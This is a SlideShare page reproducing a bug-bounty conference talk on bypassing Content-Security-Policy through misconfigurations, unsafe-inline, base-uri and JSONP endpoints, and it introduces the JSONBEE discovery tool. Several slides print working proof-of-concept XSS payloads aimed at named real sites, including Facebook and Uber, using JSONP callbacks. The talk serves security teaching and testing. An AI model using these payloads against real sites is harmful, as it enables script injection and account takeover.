SlideShare a Scribd company logo

Ebrahem Hegazy - Bug hunters manual for bypassing Content-Security-Policy

Bypassing CSP
Automated discovery of JSONP endpoints.
HackIT 4.0, Kyiv
HackIT 4.0, Kyiv
Agenda
1. Root@localhost:~# whoami
2. Intro on how browsers handle the client to server request <-> response;
2. Cross-site scripting in a nutshell;
3. What is CSP, why we need it, and how it works?;
4. Techniques for bypassing CSP restrictions;
5. Payloads to bypass CSP for Uber, Yahoo, Paypal, and more;
6. Let's automate all the things (demo for JSONBEE);
Your Photo
Name: Ebrahem
HegazyCompany: Deloitte
Position: Senior Consultant
Company
logohttps://www.linkedin.com/in/ebrahimhegazy
facebook.com/me
Ehegazy@Deloitte.nl
HackIT 4.0, Kyiv
HackIT 4.0, Kyiv
Intro on how browsers handle requests
1. HTTP protocol;
2. Browsers have to respect the response headers;
3. Rendering / Lay-out engines.
Gecko
Blink EdgeHTM
L
Obama won
the elections!
HackIT 4.0, Kyiv
Cross-site scripting (XSS) in a nutshell
XSS occurs when a user input is being echoed back into the page response without
validation.
Cross-site scripting could be used to perform actions on behalf of application users,
such as:
• Accounts takeover, by stealing user’s cookies
• Phishing attacks
• Defacements
HackIT 4.0, Kyiv
How XSS could be mitigated?
Mitigation of XSS depends on where the user input is being reflected. However,
below are some general methods to prevent XSS.
1. URL & HTML encoding, but what about:
1. Writing user input to EventHandlers (i.e. onmouseover);
2. Writing user input to JavaScript (i.e. setInterval);
3. Writing user input to CSS  <style> tags
2. Restricting user input type
1. You have to apply it application wide!
2. Newly developed code?
3. HTTP header (X-XSS-Protection)
1. Not supported on all browsers
Image from OWASP
HackIT 4.0, Kyiv
Question
What would you do if your company application is vulnerable to 1337 XSS, and
it is in production already?
HackIT 4.0, Kyiv
What is CSP, why we need it?
Content Security Policy (CSP) is a security standard introduced to prevent cross-site scripting (XSS),
clickjacking and other code injection. CSP provides a standard method for website owners to declare
approved origins of content that browsers should be allowed to load on that website. #WikiPedia
HackIT 4.0, Kyiv
Real-life demo
HackIT 4.0, Kyiv
How CSP works?
Although that your XSS payload is being reflected inside the page un-sanatized, it is still not getting
executed!
Quoted from ‘Sebastian Lekies’ talk at Blackhat.
Techniques for
bypassing CSP
restrictions
• There are lots of ways to bypass CSP restrictions,
such as:
• CSP misconfigurations;
• Unsafe-eval & Unsafe-inline;
• Internet Explorer;
• File upload;
• JSONP.
HackIT 4.0, Kyiv
HackIT 4.0, Kyiv
CSP misconfigurations
Content security policy could be misconfigured in a way that it would still allow for XSS attacks.
Example:
1. Setting CSP for JavaScript only but missing the CSS  h1:after{content:”Hacked!”;}
2. Trusting wide domains (I.e. *.cloudfront.net, *.herokuapp.com)
3. Missing “base-uri”, which could be exploited to set the base URL for all relative (script) URLs to
an attacker controlled domain. #<head><base href="javascript://"/></head><body><a href="/. /,alert(1)//#">XXX</a></body>
4. Trusting ‘self’ only, but hosting jsonp and file upload.
5. Setting script-src directive value to *
HackIT 4.0, Kyiv
Unsafe-eval & Unsafe-inline
Unsafe-eval: Allows unsafe dynamic code evaluation such as:
eval()
Function()
When passing a string literal like to methods like:
window.setTimeout
window.setInterval
window.setImmediate
Unsafe-inline: Allows use of inline source elements such as style attribute, onclick, or script
tag bodies, and “javascript:” URIs
https://www.site.com/pages/search.php?term=x’;alert(1);//
<script> jscode…. term=‘x’;alert(1)// ….jscode</script>
HackIT 4.0, Kyiv
Internet Explorer Doesn’t honor CSP!
CSP is not supported for MSIE. MSIE only supports the old X-Content-Security-Policy header,
which is a deprecated header.
HackIT 4.0, Kyiv
File upload
Doesn’t matter if you write your JavaScript code inside image or else, browsers will still treat it
based on the tag you are using to call it!
Quoted from brute logic
HackIT 4.0, Kyiv
JSONP
JSONP is a method for sending JSON data without worrying about cross-domain
issues.
Wait, What about SOP (Same-origin policy).
Before:
http://a.sm.cn/api/getgamehotboarddata?format=jsonp&page=1&_=1537365429621&callback=jsonp1
After:
http://a.sm.cn/api/getgamehotboarddata?format=jsonp&page=1&_=1537365429621&callback=confirm(1);//jsonp1
HackIT 4.0, Kyiv
CSP evaluators
Google CSP evaluator is a great tool to help you audit your CSP policy and tells you the
misconfigurations and possible bypasses. https://csp-evaluator.withgoogle.com/
Also Burp have a very nice Plugins “CSP-Auditor” and “CSP-Bypass” that helps you find the CSP
weaknesses during your bug hunting.
HackIT 4.0, Kyiv
Payloads to bypass the top BBP sites CSP
• Facebook.com:
• "><script+src="https://accounts.google.com/o/oauth2/revoke?callback=alert()"></script>
• "><script+src="https://cse.google.com/api/007627024705277327428/cse/r3vs7b0fcli/queries/js?callback=confirm()"></scrip
t>
HackIT 4.0, Kyiv
Payloads to bypass the top BBP sites CSP
• AOL:
AOL CSP policy is set to "Content-Security-Policy-Report-Only", which means it is set to work in a monitor mode
only. No enforcing, thus using the report-uri directive.
HackIT 4.0, Kyiv
Payloads to bypass the top BBP sites CSP
• Uber.com:
"><script src="https://mkto.uber.com/index.php/form/getKnownLead?callback=alert(document.domain);"></script> //POC by
Efkan.
HackIT 4.0, Kyiv
Payloads to bypass the top BBP sites CSP
HackIT 4.0, Kyiv
Automating JSONP searching (JSONBEE)
JSONBEE is created to automate the process of finding a JSONP endpoint within the “script-src” sites scope. Thus,
allowing for fast way of bypassing content security policy.
Google CSP evaluator (https://csp-evaluator.withgoogle.com) is a great tool. JSONBEE doesn’t replace it, but
completes its job.
JSONBEE could be found at: https://github.com/zigoo0
JSONBEE finds JSONP endpoints via 3 main sources:
• Github project “JSONBEE” repo;
• Google dorks - eleminating false positives by validating the content-type of the pages response;
• The internet archive website.
HackIT 4.0, Kyiv
Demo for JSONBEE
HackIT 4.0, Kyiv
Useful references
• Content security policy official website:
• http://content-security-policy.com
• Google CSP evaluator:
• https://csp-evaluator.withgoogle.com/
• https://blog.thomasorlita.cz/vulns/google-csp-evaluator/
• H5SC Minichallenge + solutions:
• https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22
• Using Google Analytics for data extraction:
• https://labs.detectify.com/2018/01/19/google-analytics-data-extraction/
• Neatly bypassing CSP:
• https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa
• Bypass CSP by Abusing XSS Filter in Edge:
• https://medium.com/bugbountywriteup/bypass-csp-by-abusing-xss-filter-in-edge-43e9106a9754
• Bypassing Content-Security-Policy with DNS prefetching:
• https://blog.compass-security.com/2016/10/bypassing-content-security-policy-with-dns-prefetching/
• Data Exfiltration in the Face of CSP:
• http://www.cse.chalmers.se/research/group/security/pdf/data-exfiltration-in-the-face-of-csp.pdf
• Bypassing CSP using polyglot JPEGs:
• https://portswigger.net/blog/bypassing-csp-using-polyglot-jpegs
Ebrahem Hegazy - Bug hunters manual for bypassing Content-Security-Policy
HackIT 4.0, Kyiv
Thank you!
1 of 26

Ebrahem Hegazy - Bug hunters manual for bypassing Content-Security-Policy

Download to read offline

HackIT is an annual cybersecurity conference that gathers the best technical researchers and top players in the cybersecurity industry to explore cutting-edge technologies together. In 2018, HackIT focused on the use of blockchain technology. Join our community: Website - https://hacken.live/hackit-slideshare Twitter - https://hacken.live/twitter_hackit Facebook - https://hacken.live/facebook_hackit Instagram - https://hacken.live/instagram_hackit Reddit - https://hacken.live/reddit Telegram community - https://hacken.live/tg-hackit #hackit #cybersecurity #blockchain #hacking

Recommended

Peter Todd - Hardware Wallets - Threats and Vulnerabilities by
Peter Todd - Hardware Wallets - Threats and VulnerabilitiesPeter Todd - Hardware Wallets - Threats and Vulnerabilities
Peter Todd - Hardware Wallets - Threats and VulnerabilitiesHacken_Ecosystem
408 views18 slides
Seyfullah Kilic - Hacking Cryptocurrency Miners with OSINT Techniques by
Seyfullah Kilic - Hacking Cryptocurrency Miners with OSINT TechniquesSeyfullah Kilic - Hacking Cryptocurrency Miners with OSINT Techniques
Seyfullah Kilic - Hacking Cryptocurrency Miners with OSINT TechniquesHacken_Ecosystem
723 views61 slides
Walter Belgers - Lockpicking and IT security by
Walter Belgers - Lockpicking and IT securityWalter Belgers - Lockpicking and IT security
Walter Belgers - Lockpicking and IT securityHacken_Ecosystem
160 views60 slides
Dima kovalenko - Is ARMv8.3 the end of ROP? by
Dima kovalenko - Is ARMv8.3 the end of ROP?Dima kovalenko - Is ARMv8.3 the end of ROP?
Dima kovalenko - Is ARMv8.3 the end of ROP?Hacken_Ecosystem
384 views30 slides
Tomi Wen - The Blockchain Built for Real World Apps by
Tomi Wen - The Blockchain Built for Real World AppsTomi Wen - The Blockchain Built for Real World Apps
Tomi Wen - The Blockchain Built for Real World AppsHacken_Ecosystem
45 views15 slides
Renaud Lifchitz - Blockchain decentralized apps: the future of malwares? by
Renaud Lifchitz - Blockchain decentralized apps: the future of malwares?Renaud Lifchitz - Blockchain decentralized apps: the future of malwares?
Renaud Lifchitz - Blockchain decentralized apps: the future of malwares?Hacken_Ecosystem
54 views26 slides
Dejan Podgorsek - Is Hyperledger Fabric secure enough for your Business? by
Dejan Podgorsek - Is Hyperledger Fabric secure enough for your Business?Dejan Podgorsek - Is Hyperledger Fabric secure enough for your Business?
Dejan Podgorsek - Is Hyperledger Fabric secure enough for your Business?Hacken_Ecosystem
202 views45 slides
Alex Zdrilko - АI and Blockchain in real life application with the highest se... by
Alex Zdrilko - АI and Blockchain in real life application with the highest se...Alex Zdrilko - АI and Blockchain in real life application with the highest se...
Alex Zdrilko - АI and Blockchain in real life application with the highest se...Hacken_Ecosystem
55 views36 slides

More Related Content

More from Hacken_Ecosystem

John Graham-Cumming - Helping to build a better Internet by
John Graham-Cumming - Helping to build a better InternetJohn Graham-Cumming - Helping to build a better Internet
John Graham-Cumming - Helping to build a better InternetHacken_Ecosystem
172 views78 slides
Pedro Fortuna - Protecting Crypto Exchanges From a New Wave of Man-in-the-Bro... by
Pedro Fortuna - Protecting Crypto Exchanges From a New Wave of Man-in-the-Bro...Pedro Fortuna - Protecting Crypto Exchanges From a New Wave of Man-in-the-Bro...
Pedro Fortuna - Protecting Crypto Exchanges From a New Wave of Man-in-the-Bro...Hacken_Ecosystem
122 views33 slides
Max Keidun - How to build a Bitcoin exchange and not burn in hell by
Max Keidun - How to build a Bitcoin exchange and not burn in hellMax Keidun - How to build a Bitcoin exchange and not burn in hell
Max Keidun - How to build a Bitcoin exchange and not burn in hellHacken_Ecosystem
238 views29 slides
Ryan Stortz & Sophia D'Antoine - “EVM2VEC: Bug Discovery in Smart Contracts” by
Ryan Stortz & Sophia D'Antoine - “EVM2VEC: Bug Discovery in Smart Contracts”Ryan Stortz & Sophia D'Antoine - “EVM2VEC: Bug Discovery in Smart Contracts”
Ryan Stortz & Sophia D'Antoine - “EVM2VEC: Bug Discovery in Smart Contracts”Hacken_Ecosystem
419 views45 slides
Brian Gorenc on the topic “Modern Day Entomology - Examing the Inner Workings... by
Brian Gorenc on the topic “Modern Day Entomology - Examing the Inner Workings...Brian Gorenc on the topic “Modern Day Entomology - Examing the Inner Workings...
Brian Gorenc on the topic “Modern Day Entomology - Examing the Inner Workings...Hacken_Ecosystem
148 views36 slides
Dinis Guarda "Hacking the DNA of Humanity with Blockchain and AI"" by
Dinis Guarda "Hacking the DNA of Humanity with Blockchain and AI""Dinis Guarda "Hacking the DNA of Humanity with Blockchain and AI""
Dinis Guarda "Hacking the DNA of Humanity with Blockchain and AI""Hacken_Ecosystem
178 views34 slides

More from Hacken_Ecosystem (6)

John Graham-Cumming - Helping to build a better Internet by Hacken_Ecosystem
John Graham-Cumming - Helping to build a better InternetJohn Graham-Cumming - Helping to build a better Internet
John Graham-Cumming - Helping to build a better Internet
Hacken_Ecosystem172 views
Pedro Fortuna - Protecting Crypto Exchanges From a New Wave of Man-in-the-Bro... by Hacken_Ecosystem
Pedro Fortuna - Protecting Crypto Exchanges From a New Wave of Man-in-the-Bro...Pedro Fortuna - Protecting Crypto Exchanges From a New Wave of Man-in-the-Bro...
Pedro Fortuna - Protecting Crypto Exchanges From a New Wave of Man-in-the-Bro...
Hacken_Ecosystem122 views
Max Keidun - How to build a Bitcoin exchange and not burn in hell by Hacken_Ecosystem
Max Keidun - How to build a Bitcoin exchange and not burn in hellMax Keidun - How to build a Bitcoin exchange and not burn in hell
Max Keidun - How to build a Bitcoin exchange and not burn in hell
Hacken_Ecosystem238 views
Ryan Stortz & Sophia D'Antoine - “EVM2VEC: Bug Discovery in Smart Contracts” by Hacken_Ecosystem
Ryan Stortz & Sophia D'Antoine - “EVM2VEC: Bug Discovery in Smart Contracts”Ryan Stortz & Sophia D'Antoine - “EVM2VEC: Bug Discovery in Smart Contracts”
Ryan Stortz & Sophia D'Antoine - “EVM2VEC: Bug Discovery in Smart Contracts”
Hacken_Ecosystem419 views
Brian Gorenc on the topic “Modern Day Entomology - Examing the Inner Workings... by Hacken_Ecosystem
Brian Gorenc on the topic “Modern Day Entomology - Examing the Inner Workings...Brian Gorenc on the topic “Modern Day Entomology - Examing the Inner Workings...
Brian Gorenc on the topic “Modern Day Entomology - Examing the Inner Workings...
Hacken_Ecosystem148 views
Dinis Guarda "Hacking the DNA of Humanity with Blockchain and AI"" by Hacken_Ecosystem
Dinis Guarda "Hacking the DNA of Humanity with Blockchain and AI""Dinis Guarda "Hacking the DNA of Humanity with Blockchain and AI""
Dinis Guarda "Hacking the DNA of Humanity with Blockchain and AI""
Hacken_Ecosystem178 views

Recently uploaded

Mobile Core Solutions & Successful Cases.pdf by
Mobile Core Solutions & Successful Cases.pdfMobile Core Solutions & Successful Cases.pdf
Mobile Core Solutions & Successful Cases.pdfIPLOOK Networks
20 views7 slides
Choosing the Right Flutter App Development Company by
Choosing the Right Flutter App Development CompanyChoosing the Right Flutter App Development Company
Choosing the Right Flutter App Development CompanyFicode Technologies
19 views9 slides
Five Ways to Automate API Testing with Postman by
Five Ways to Automate API Testing with PostmanFive Ways to Automate API Testing with Postman
Five Ways to Automate API Testing with PostmanPostman
48 views31 slides
Show and tell: What’s in your tech stack? - Tech Forum 2023 by
Show and tell: What’s in your tech stack? - Tech Forum 2023Show and tell: What’s in your tech stack? - Tech Forum 2023
Show and tell: What’s in your tech stack? - Tech Forum 2023BookNet Canada
40 views78 slides
GDSC GLAU Info Session.pptx by
GDSC GLAU Info Session.pptxGDSC GLAU Info Session.pptx
GDSC GLAU Info Session.pptxgauriverrma4
15 views28 slides
Business Analyst Series 2023 - Week 5 Session 9 by
Business Analyst Series 2023 -  Week 5 Session 9Business Analyst Series 2023 -  Week 5 Session 9
Business Analyst Series 2023 - Week 5 Session 9DianaGray10
109 views13 slides
The Mysterious Paradigm of Fuzzing by Rakesh Seal by
The Mysterious Paradigm of Fuzzing by Rakesh SealThe Mysterious Paradigm of Fuzzing by Rakesh Seal
The Mysterious Paradigm of Fuzzing by Rakesh Sealnull - The Open Security Community
20 views11 slides
Generative AI: Shifting the AI Landscape by
Generative AI: Shifting the AI LandscapeGenerative AI: Shifting the AI Landscape
Generative AI: Shifting the AI LandscapeDeakin University
155 views55 slides
Express JS-Routingmethod.pdf by
Express JS-Routingmethod.pdfExpress JS-Routingmethod.pdf
Express JS-Routingmethod.pdfBareen Shaikh
14 views11 slides
The Role of Patterns in the Era of Large Language Models by
The Role of Patterns in the Era of Large Language ModelsThe Role of Patterns in the Era of Large Language Models
The Role of Patterns in the Era of Large Language ModelsYunyao Li
134 views65 slides
Measuring User on the web with the core web vitals - by @theafolayan.pptx by
Measuring User on the web with the core web vitals - by @theafolayan.pptxMeasuring User on the web with the core web vitals - by @theafolayan.pptx
Measuring User on the web with the core web vitals - by @theafolayan.pptxOluwaseun Raphael Afolayan
15 views13 slides
PCCC23:日本AMD株式会社 テーマ2「AMD EPYC™ プロセッサーを用いたAIソリューション」 by
PCCC23:日本AMD株式会社 テーマ2「AMD EPYC™ プロセッサーを用いたAIソリューション」PCCC23:日本AMD株式会社 テーマ2「AMD EPYC™ プロセッサーを用いたAIソリューション」
PCCC23:日本AMD株式会社 テーマ2「AMD EPYC™ プロセッサーを用いたAIソリューション」PC Cluster Consortium
43 views12 slides
Initiating and Advancing Your Strategic GIS Governance Strategy by
Initiating and Advancing Your Strategic GIS Governance StrategyInitiating and Advancing Your Strategic GIS Governance Strategy
Initiating and Advancing Your Strategic GIS Governance StrategySafe Software
280 views68 slides
The Power of Generative AI in Accelerating No Code Adoption.pdf by
The Power of Generative AI in Accelerating No Code Adoption.pdfThe Power of Generative AI in Accelerating No Code Adoption.pdf
The Power of Generative AI in Accelerating No Code Adoption.pdfSaeed Al Dhaheri
58 views18 slides
Cocktail of Environments. How to Mix Test and Development Environments and St... by
Cocktail of Environments. How to Mix Test and Development Environments and St...Cocktail of Environments. How to Mix Test and Development Environments and St...
Cocktail of Environments. How to Mix Test and Development Environments and St...Aleksandr Tarasov
27 views135 slides
Everything You Always Wanted to Know About AsyncAPI by
Everything You Always Wanted to Know About AsyncAPIEverything You Always Wanted to Know About AsyncAPI
Everything You Always Wanted to Know About AsyncAPIPostman
17 views25 slides
Incremental data processing with Hudi & Spark + dbt.pdf by
Incremental data processing with Hudi & Spark + dbt.pdfIncremental data processing with Hudi & Spark + dbt.pdf
Incremental data processing with Hudi & Spark + dbt.pdfnadine39280
17 views20 slides
Network eWaste : Community role to manage end of life Product by
Network eWaste : Community role to manage end of life ProductNetwork eWaste : Community role to manage end of life Product
Network eWaste : Community role to manage end of life ProductBangladesh Network Operators Group
26 views13 slides
Everything You Need to Know About HCL Notes 14 by
Everything You Need to Know About HCL Notes 14Everything You Need to Know About HCL Notes 14
Everything You Need to Know About HCL Notes 14panagenda
47 views37 slides
The coming generative AI trends of 2024.pdf by
The coming generative AI trends of 2024.pdfThe coming generative AI trends of 2024.pdf
The coming generative AI trends of 2024.pdfSoluLab1231
22 views10 slides

Recently uploaded (20)

Mobile Core Solutions & Successful Cases.pdf by IPLOOK Networks
Mobile Core Solutions & Successful Cases.pdfMobile Core Solutions & Successful Cases.pdf
Mobile Core Solutions & Successful Cases.pdf
IPLOOK Networks20 views
Five Ways to Automate API Testing with Postman by Postman
Five Ways to Automate API Testing with PostmanFive Ways to Automate API Testing with Postman
Five Ways to Automate API Testing with Postman
Postman48 views
Show and tell: What’s in your tech stack? - Tech Forum 2023 by BookNet Canada
Show and tell: What’s in your tech stack? - Tech Forum 2023Show and tell: What’s in your tech stack? - Tech Forum 2023
Show and tell: What’s in your tech stack? - Tech Forum 2023
BookNet Canada40 views
GDSC GLAU Info Session.pptx by gauriverrma4
GDSC GLAU Info Session.pptxGDSC GLAU Info Session.pptx
GDSC GLAU Info Session.pptx
gauriverrma415 views
Business Analyst Series 2023 - Week 5 Session 9 by DianaGray10
Business Analyst Series 2023 -  Week 5 Session 9Business Analyst Series 2023 -  Week 5 Session 9
Business Analyst Series 2023 - Week 5 Session 9
DianaGray10109 views
Generative AI: Shifting the AI Landscape by Deakin University
Generative AI: Shifting the AI LandscapeGenerative AI: Shifting the AI Landscape
Generative AI: Shifting the AI Landscape
Deakin University155 views
Express JS-Routingmethod.pdf by Bareen Shaikh
Express JS-Routingmethod.pdfExpress JS-Routingmethod.pdf
Express JS-Routingmethod.pdf
Bareen Shaikh14 views
The Role of Patterns in the Era of Large Language Models by Yunyao Li
The Role of Patterns in the Era of Large Language ModelsThe Role of Patterns in the Era of Large Language Models
The Role of Patterns in the Era of Large Language Models
Yunyao Li134 views
PCCC23:日本AMD株式会社 テーマ2「AMD EPYC™ プロセッサーを用いたAIソリューション」 by PC Cluster Consortium
PCCC23:日本AMD株式会社 テーマ2「AMD EPYC™ プロセッサーを用いたAIソリューション」PCCC23:日本AMD株式会社 テーマ2「AMD EPYC™ プロセッサーを用いたAIソリューション」
PCCC23:日本AMD株式会社 テーマ2「AMD EPYC™ プロセッサーを用いたAIソリューション」
Initiating and Advancing Your Strategic GIS Governance Strategy by Safe Software
Initiating and Advancing Your Strategic GIS Governance StrategyInitiating and Advancing Your Strategic GIS Governance Strategy
Initiating and Advancing Your Strategic GIS Governance Strategy
Safe Software280 views
The Power of Generative AI in Accelerating No Code Adoption.pdf by Saeed Al Dhaheri
The Power of Generative AI in Accelerating No Code Adoption.pdfThe Power of Generative AI in Accelerating No Code Adoption.pdf
The Power of Generative AI in Accelerating No Code Adoption.pdf
Saeed Al Dhaheri58 views
Cocktail of Environments. How to Mix Test and Development Environments and St... by Aleksandr Tarasov
Cocktail of Environments. How to Mix Test and Development Environments and St...Cocktail of Environments. How to Mix Test and Development Environments and St...
Cocktail of Environments. How to Mix Test and Development Environments and St...
Everything You Always Wanted to Know About AsyncAPI by Postman
Everything You Always Wanted to Know About AsyncAPIEverything You Always Wanted to Know About AsyncAPI
Everything You Always Wanted to Know About AsyncAPI
Postman17 views
Incremental data processing with Hudi & Spark + dbt.pdf by nadine39280
Incremental data processing with Hudi & Spark + dbt.pdfIncremental data processing with Hudi & Spark + dbt.pdf
Incremental data processing with Hudi & Spark + dbt.pdf
nadine3928017 views
Everything You Need to Know About HCL Notes 14 by panagenda
Everything You Need to Know About HCL Notes 14Everything You Need to Know About HCL Notes 14
Everything You Need to Know About HCL Notes 14
panagenda47 views
The coming generative AI trends of 2024.pdf by SoluLab1231
The coming generative AI trends of 2024.pdfThe coming generative AI trends of 2024.pdf
The coming generative AI trends of 2024.pdf
SoluLab123122 views

Ebrahem Hegazy - Bug hunters manual for bypassing Content-Security-Policy

  • 1. Bypassing CSP Automated discovery of JSONP endpoints. HackIT 4.0, Kyiv
  • 2. HackIT 4.0, Kyiv Agenda 1. Root@localhost:~# whoami 2. Intro on how browsers handle the client to server request <-> response; 2. Cross-site scripting in a nutshell; 3. What is CSP, why we need it, and how it works?; 4. Techniques for bypassing CSP restrictions; 5. Payloads to bypass CSP for Uber, Yahoo, Paypal, and more; 6. Let's automate all the things (demo for JSONBEE);
  • 3. Your Photo Name: Ebrahem HegazyCompany: Deloitte Position: Senior Consultant Company logohttps://www.linkedin.com/in/ebrahimhegazy facebook.com/me Ehegazy@Deloitte.nl HackIT 4.0, Kyiv
  • 4. HackIT 4.0, Kyiv Intro on how browsers handle requests 1. HTTP protocol; 2. Browsers have to respect the response headers; 3. Rendering / Lay-out engines. Gecko Blink EdgeHTM L Obama won the elections!
  • 5. HackIT 4.0, Kyiv Cross-site scripting (XSS) in a nutshell XSS occurs when a user input is being echoed back into the page response without validation. Cross-site scripting could be used to perform actions on behalf of application users, such as: • Accounts takeover, by stealing user’s cookies • Phishing attacks • Defacements
  • 6. HackIT 4.0, Kyiv How XSS could be mitigated? Mitigation of XSS depends on where the user input is being reflected. However, below are some general methods to prevent XSS. 1. URL & HTML encoding, but what about: 1. Writing user input to EventHandlers (i.e. onmouseover); 2. Writing user input to JavaScript (i.e. setInterval); 3. Writing user input to CSS  <style> tags 2. Restricting user input type 1. You have to apply it application wide! 2. Newly developed code? 3. HTTP header (X-XSS-Protection) 1. Not supported on all browsers Image from OWASP
  • 7. HackIT 4.0, Kyiv Question What would you do if your company application is vulnerable to 1337 XSS, and it is in production already?
  • 8. HackIT 4.0, Kyiv What is CSP, why we need it? Content Security Policy (CSP) is a security standard introduced to prevent cross-site scripting (XSS), clickjacking and other code injection. CSP provides a standard method for website owners to declare approved origins of content that browsers should be allowed to load on that website. #WikiPedia
  • 10. HackIT 4.0, Kyiv How CSP works? Although that your XSS payload is being reflected inside the page un-sanatized, it is still not getting executed! Quoted from ‘Sebastian Lekies’ talk at Blackhat.
  • 11. Techniques for bypassing CSP restrictions • There are lots of ways to bypass CSP restrictions, such as: • CSP misconfigurations; • Unsafe-eval & Unsafe-inline; • Internet Explorer; • File upload; • JSONP. HackIT 4.0, Kyiv
  • 12. HackIT 4.0, Kyiv CSP misconfigurations Content security policy could be misconfigured in a way that it would still allow for XSS attacks. Example: 1. Setting CSP for JavaScript only but missing the CSS  h1:after{content:”Hacked!”;} 2. Trusting wide domains (I.e. *.cloudfront.net, *.herokuapp.com) 3. Missing “base-uri”, which could be exploited to set the base URL for all relative (script) URLs to an attacker controlled domain. #<head><base href="javascript://"/></head><body><a href="/. /,alert(1)//#">XXX</a></body> 4. Trusting ‘self’ only, but hosting jsonp and file upload. 5. Setting script-src directive value to *
  • 13. HackIT 4.0, Kyiv Unsafe-eval & Unsafe-inline Unsafe-eval: Allows unsafe dynamic code evaluation such as: eval() Function() When passing a string literal like to methods like: window.setTimeout window.setInterval window.setImmediate Unsafe-inline: Allows use of inline source elements such as style attribute, onclick, or script tag bodies, and “javascript:” URIs https://www.site.com/pages/search.php?term=x’;alert(1);// <script> jscode…. term=‘x’;alert(1)// ….jscode</script>
  • 14. HackIT 4.0, Kyiv Internet Explorer Doesn’t honor CSP! CSP is not supported for MSIE. MSIE only supports the old X-Content-Security-Policy header, which is a deprecated header.
  • 15. HackIT 4.0, Kyiv File upload Doesn’t matter if you write your JavaScript code inside image or else, browsers will still treat it based on the tag you are using to call it! Quoted from brute logic
  • 16. HackIT 4.0, Kyiv JSONP JSONP is a method for sending JSON data without worrying about cross-domain issues. Wait, What about SOP (Same-origin policy). Before: http://a.sm.cn/api/getgamehotboarddata?format=jsonp&page=1&_=1537365429621&callback=jsonp1 After: http://a.sm.cn/api/getgamehotboarddata?format=jsonp&page=1&_=1537365429621&callback=confirm(1);//jsonp1
  • 17. HackIT 4.0, Kyiv CSP evaluators Google CSP evaluator is a great tool to help you audit your CSP policy and tells you the misconfigurations and possible bypasses. https://csp-evaluator.withgoogle.com/ Also Burp have a very nice Plugins “CSP-Auditor” and “CSP-Bypass” that helps you find the CSP weaknesses during your bug hunting.
  • 18. HackIT 4.0, Kyiv Payloads to bypass the top BBP sites CSP • Facebook.com: • "><script+src="https://accounts.google.com/o/oauth2/revoke?callback=alert()"></script> • "><script+src="https://cse.google.com/api/007627024705277327428/cse/r3vs7b0fcli/queries/js?callback=confirm()"></scrip t>
  • 19. HackIT 4.0, Kyiv Payloads to bypass the top BBP sites CSP • AOL: AOL CSP policy is set to "Content-Security-Policy-Report-Only", which means it is set to work in a monitor mode only. No enforcing, thus using the report-uri directive.
  • 20. HackIT 4.0, Kyiv Payloads to bypass the top BBP sites CSP • Uber.com: "><script src="https://mkto.uber.com/index.php/form/getKnownLead?callback=alert(document.domain);"></script> //POC by Efkan.
  • 21. HackIT 4.0, Kyiv Payloads to bypass the top BBP sites CSP
  • 22. HackIT 4.0, Kyiv Automating JSONP searching (JSONBEE) JSONBEE is created to automate the process of finding a JSONP endpoint within the “script-src” sites scope. Thus, allowing for fast way of bypassing content security policy. Google CSP evaluator (https://csp-evaluator.withgoogle.com) is a great tool. JSONBEE doesn’t replace it, but completes its job. JSONBEE could be found at: https://github.com/zigoo0 JSONBEE finds JSONP endpoints via 3 main sources: • Github project “JSONBEE” repo; • Google dorks - eleminating false positives by validating the content-type of the pages response; • The internet archive website.
  • 23. HackIT 4.0, Kyiv Demo for JSONBEE
  • 24. HackIT 4.0, Kyiv Useful references • Content security policy official website: • http://content-security-policy.com • Google CSP evaluator: • https://csp-evaluator.withgoogle.com/ • https://blog.thomasorlita.cz/vulns/google-csp-evaluator/ • H5SC Minichallenge + solutions: • https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22 • Using Google Analytics for data extraction: • https://labs.detectify.com/2018/01/19/google-analytics-data-extraction/ • Neatly bypassing CSP: • https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa • Bypass CSP by Abusing XSS Filter in Edge: • https://medium.com/bugbountywriteup/bypass-csp-by-abusing-xss-filter-in-edge-43e9106a9754 • Bypassing Content-Security-Policy with DNS prefetching: • https://blog.compass-security.com/2016/10/bypassing-content-security-policy-with-dns-prefetching/ • Data Exfiltration in the Face of CSP: • http://www.cse.chalmers.se/research/group/security/pdf/data-exfiltration-in-the-face-of-csp.pdf • Bypassing CSP using polyglot JPEGs: • https://portswigger.net/blog/bypassing-csp-using-polyglot-jpegs

Editor's Notes

  1. Here you can enter your personal information and move this slide to the end of the presentation.